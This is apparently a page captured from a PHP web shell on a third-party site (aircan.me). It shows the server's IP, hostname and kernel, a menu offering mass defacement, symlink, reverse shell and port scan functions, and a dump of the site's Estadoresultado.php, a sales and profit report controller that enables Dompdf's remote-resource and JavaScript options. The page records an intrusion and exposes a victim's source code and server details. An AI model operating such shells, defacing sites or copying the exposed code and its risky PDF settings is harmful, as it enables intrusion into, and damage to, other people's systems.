Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfranc
/
controllers
/
Viewing: Estadoresultado.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Estadoresultado extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $hoy = date('Y-m-d'); $data['title'] = 'Estado de Resultado'; $data['script'] = 'estadoresultado.js'; $data['desde'] = $hoy; $data['hasta'] = $hoy; $this->views->getView('estadoresultado', 'index', $data); } public function rango() { $desde = date('Y-m-01'); $hasta = date('Y-m-t'); if (verificar('reporte_ventas') || verificar('reporte_compras') || verificar('ver_gastos')) { $rango = $this->model->getRangoFechas($this->id_sucursal); $desde = !empty($rango['desde']) ? $rango['desde'] : $desde; $hasta = !empty($rango['hasta']) ? $rango['hasta'] : $hasta; } echo json_encode(['desde' => $desde, 'hasta' => $hasta], JSON_UNESCAPED_UNICODE); die(); } public function resumen() { $response = [ 'ventas' => 0, 'apartados' => 0, 'compras' => 0, 'gastos' => 0, 'utilidad_bruta' => 0, 'utilidad_neta' => 0, 'descuentos' => 0, 'ventas_brutas' => 0, 'iva_acreditable' => 0, 'iva_por_pagar' => 0, 'ventasDecimal' => '0.00', 'apartadosDecimal' => '0.00', 'comprasDecimal' => '0.00', 'gastosDecimal' => '0.00', 'utilidadBrutaDecimal' => '0.00', 'utilidadNetaDecimal' => '0.00', 'descuentosDecimal' => '0.00', 'ventasBrutasDecimal' => '0.00', 'ivaAcreditableDecimal' => '0.00', 'ivaPorPagarDecimal' => '0.00', 'moneda' => MONEDA, ]; if (verificar('reporte_ventas') || verificar('reporte_compras') || verificar('ver_gastos')) { $hoy = date('Y-m-d'); $desde = !empty($_GET['desde']) ? $_GET['desde'] : $hoy; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : $hoy; if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $desde)) { $desde = $hoy; } if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $hasta)) { $hasta = $hoy; } if ($desde > $hasta) { $tmp = $desde; $desde = $hasta; $hasta = $tmp; } $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $apartados = $this->model->getTotalApartados($this->id_sucursal, $desde, $hasta); $costoVentas = $this->model->getCostoVentas($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $descuentos = $this->model->getTotalDescuentos($this->id_sucursal, $desde, $hasta); $ivaVentas = $this->model->getIvaVentas($this->id_sucursal, $desde, $hasta); $ivaCompras = $this->model->getIvaCompras($this->id_sucursal, $desde, $hasta); $ivaGastos = $this->model->getIvaGastos($this->id_sucursal, $desde, $hasta); $ventasBrutas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalDescuentos = (!empty($descuentos['total'])) ? (float)$descuentos['total'] : 0; $totalVentas = max($ventasBrutas - $totalDescuentos, 0); $totalApartados = (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; $totalCompras = (!empty($costoVentas['total'])) ? (float)$costoVentas['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $totalIvaVentas = (!empty($ivaVentas['total'])) ? (float)$ivaVentas['total'] : 0; $totalIvaCompras = (!empty($ivaCompras['total'])) ? (float)$ivaCompras['total'] : 0; $totalIvaGastos = (!empty($ivaGastos['total'])) ? (float)$ivaGastos['total'] : 0; $ivaAcreditable = $totalIvaCompras + $totalIvaGastos; $ivaPorPagar = $totalIvaVentas; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $response['ventas_brutas'] = number_format($ventasBrutas, 2, '.', ''); $response['ventasBrutasDecimal'] = number_format($ventasBrutas, 2); $response['descuentos'] = number_format($totalDescuentos, 2, '.', ''); $response['descuentosDecimal'] = number_format($totalDescuentos, 2); $response['ventas'] = number_format($totalVentas, 2, '.', ''); $response['apartados'] = number_format($totalApartados, 2, '.', ''); $response['compras'] = number_format($totalCompras, 2, '.', ''); $response['gastos'] = number_format($totalGastos, 2, '.', ''); $response['utilidad_bruta'] = number_format($utilidadBruta, 2, '.', ''); $response['utilidad_neta'] = number_format($utilidadNeta, 2, '.', ''); $response['iva_acreditable'] = number_format($ivaAcreditable, 2, '.', ''); $response['iva_por_pagar'] = number_format($ivaPorPagar, 2, '.', ''); $response['ventasDecimal'] = number_format($totalVentas, 2); $response['apartadosDecimal'] = number_format($totalApartados, 2); $response['comprasDecimal'] = number_format($totalCompras, 2); $response['gastosDecimal'] = number_format($totalGastos, 2); $response['utilidadBrutaDecimal'] = number_format($utilidadBruta, 2); $response['utilidadNetaDecimal'] = number_format($utilidadNeta, 2); $response['ivaAcreditableDecimal'] = number_format($ivaAcreditable, 2); $response['ivaPorPagarDecimal'] = number_format($ivaPorPagar, 2); } echo json_encode($response, JSON_UNESCAPED_UNICODE); die(); } public function reporte() { if (!verificar('reporte_ventas') && !verificar('reporte_compras') && !verificar('ver_gastos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $hoy = date('Y-m-d'); $usaRango = (!empty($_GET['desde']) && !empty($_GET['hasta'])); $desde = !empty($_GET['desde']) ? $_GET['desde'] : $hoy; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : $hoy; if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $desde)) { $desde = $hoy; } if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $hasta)) { $hasta = $hoy; } if ($desde > $hasta) { $tmp = $desde; $desde = $hasta; $hasta = $tmp; } $ventas = $this->model->getTotalVentas($this->id_sucursal, $desde, $hasta); $apartados = $this->model->getTotalApartados($this->id_sucursal, $desde, $hasta); $costoVentas = $this->model->getCostoVentas($this->id_sucursal, $desde, $hasta); $gastos = $this->model->getTotalGastos($this->id_sucursal, $desde, $hasta); $descuentos = $this->model->getTotalDescuentos($this->id_sucursal, $desde, $hasta); $ivaVentas = $this->model->getIvaVentas($this->id_sucursal, $desde, $hasta); $ivaCompras = $this->model->getIvaCompras($this->id_sucursal, $desde, $hasta); $ivaGastos = $this->model->getIvaGastos($this->id_sucursal, $desde, $hasta); $ventasBrutas = (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; $totalDescuentos = (!empty($descuentos['total'])) ? (float)$descuentos['total'] : 0; $totalVentas = max($ventasBrutas - $totalDescuentos, 0); $totalApartados = (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; $totalCompras = (!empty($costoVentas['total'])) ? (float)$costoVentas['total'] : 0; $totalGastos = (!empty($gastos['total'])) ? (float)$gastos['total'] : 0; $totalIvaVentas = (!empty($ivaVentas['total'])) ? (float)$ivaVentas['total'] : 0; $totalIvaCompras = (!empty($ivaCompras['total'])) ? (float)$ivaCompras['total'] : 0; $totalIvaGastos = (!empty($ivaGastos['total'])) ? (float)$ivaGastos['total'] : 0; $ivaAcreditable = $totalIvaCompras + $totalIvaGastos; $ivaPorPagar = $totalIvaVentas; $totalIngresosBrutos = $ventasBrutas + $totalApartados; $totalIngresos = $totalVentas + $totalApartados; $utilidadBruta = $totalVentas - $totalCompras; $utilidadNeta = $utilidadBruta - $totalGastos; $data['title'] = 'Estado de Resultado'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['desde'] = $desde; $data['hasta'] = $hasta; $data['periodo'] = $usaRango ? '' : 'Hoy'; $data['moneda'] = MONEDA; $data['totales'] = [ 'ventasBrutas' => number_format($ventasBrutas, 2), 'descuentos' => number_format($totalDescuentos, 2), 'ventas' => number_format($totalVentas, 2), 'apartados' => number_format($totalApartados, 2), 'compras' => number_format($totalCompras, 2), 'gastos' => number_format($totalGastos, 2), 'utilidadBruta' => number_format($utilidadBruta, 2), 'utilidadNeta' => number_format($utilidadNeta, 2), ]; $data['fiscales'] = [ 'ivaAcreditable' => number_format($ivaAcreditable, 2), 'ivaPorPagar' => number_format($ivaPorPagar, 2), ]; $pct = function ($part, $total) { if (empty($total)) { return '0.00'; } return number_format(($part / $total) * 100, 2, '.', ''); }; $data['porcentajes'] = [ 'ventasBrutas' => $pct($ventasBrutas, $totalIngresosBrutos), 'descuentos' => $pct($totalDescuentos, $totalIngresosBrutos), 'ventas' => $pct($totalVentas, $totalIngresos), 'apartados' => $pct($totalApartados, $totalIngresos), 'compras' => $pct($totalCompras, $totalIngresos), 'gastos' => $pct($totalGastos, $totalIngresos), 'utilidadBruta' => $pct($utilidadBruta, $totalIngresos), 'utilidadNeta' => $pct($utilidadNeta, $totalIngresos), 'ivaAcreditable' => $pct($ivaAcreditable, $totalIngresos), 'ivaPorPagar' => $pct($ivaPorPagar, $totalIngresos), ]; ob_start(); $this->views->getView('estadoresultado', 'reporte', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); $dompdf->render(); $dompdf->stream('estado_resultado.pdf', array('Attachment' => false)); } }
Coded With 💗 by
0x6ick